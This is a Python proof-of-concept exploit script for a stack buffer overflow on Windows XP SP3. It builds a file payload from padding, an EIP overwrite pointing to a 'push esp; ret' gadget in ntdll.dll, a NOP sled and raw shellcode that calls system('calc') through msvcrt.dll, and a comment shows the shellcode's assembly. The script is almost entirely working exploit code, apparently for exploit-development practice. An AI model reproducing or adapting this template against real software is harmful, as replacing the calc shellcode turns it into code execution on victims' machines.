import struct

'''
Tested on Windows XP SP3 Professional

Identify system() from msvcrt.dll
final address = preferred base + function offset

$ nasm -f elf exit.asm
$ ld -o scaffold exit.o -m elf_i386
$ objdump -D scaffold -M intel

scaffold:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	31 c9                	xor    ecx,ecx
 8048062:	51                   	push   ecx
 8048063:	68 63 61 6c 63       	push   0x636c6163
 8048068:	54                   	push   esp
 8048069:	b8 c7 93 c2 77       	mov    eax,0x77c293c7
 804806e:	ff d0                	call   eax
'''

total_size = 1100

fill = 'A'*997
#eip_control = 'B'*4
eip_control = struct.pack("<L",0x7c919db0) # push esp;ret -- ntdll.dll

shellcode = '\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0'

nop_sled = '\x90'*25

junk = (total_size - (len(fill)+len(eip_control)+len(nop_sled)+len(shellcode)))*'C'

payload = fill+eip_control+nop_sled+shellcode+junk

with open("C:\\payload_test.txt", "wb") as f:
	f.write(payload)
	f.close()
